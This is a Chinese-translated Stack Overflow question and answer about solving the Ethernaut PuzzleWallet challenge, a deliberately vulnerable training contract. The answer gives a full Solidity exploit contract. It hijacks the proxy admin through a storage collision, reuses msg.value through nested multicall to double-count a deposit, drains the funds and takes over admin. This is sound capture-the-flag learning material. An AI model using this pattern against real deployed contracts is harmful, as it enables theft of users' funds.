作为来自埃瑟诺的PuzzleWallet挑战的一部分,我希望从我的合同中调用外部合同的这种方法:
function multicall(bytes[] calldata data) external payable onlyWhitelisted更具体地说,我试图使用递归调用进行调用。
multidata
________|________
| |
multidata multidata
| |
deposit deposit我正在使用abi.encodeWithSignature方法,但它看起来不允许Nested dynamic arrays not implemented here.
bytes memory data = abi.encode([bytes4(keccak256('deposit()'))]);
bytes memory singleMulticallData = abi.encodePacked(bytes4(keccak256('multicall(bytes[])')), data);
(bool successDeposit, ) = address(proxy).call(abi.encodeWithSignature("multicall(bytes[])", [singleMulticallData, singleMulticallData]));
require(successDeposit, "deposit not successful");您知道如何创建一个包含字节的字节数组吗?
发布于 2022-08-17 11:39:10
ABIEncoderV2;".
2.以下是我的解决办法,供大家参考。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./PuzzleWallet.sol";
contract Exploit{
PuzzleProxy public proxy;
constructor(PuzzleProxy _proxy) public payable{
require(msg.value == 0.001 ether, "incorrect msg.value");
proxy = _proxy;
proxy.proposeNewAdmin(address(this));
PuzzleWallet wallet = PuzzleWallet(address(proxy));
wallet.addToWhitelist(address(this));
bytes memory data = abi.encodeWithSelector(PuzzleWallet.deposit.selector);
bytes[] memory data1 = new bytes[](1);
data1[0] = data;
bytes memory data2 = abi.encodeWithSelector(PuzzleWallet.multicall.selector, data1);
bytes[] memory data3 = new bytes[](2);
data3[0] = data2;
data3[1] = data2;
wallet.multicall{value:0.001 ether}(data3);
uint256 balance = wallet.balances(address(this));
require(balance == 0.002 ether, "unexpected balance");
wallet.execute(msg.sender, balance, new bytes(0));
wallet.setMaxBalance(uint256(uint160(address(this))));
require(proxy.admin() == address(this), "fail to exploit");
}
}https://stackoverflow.com/questions/71981536
复制相似问题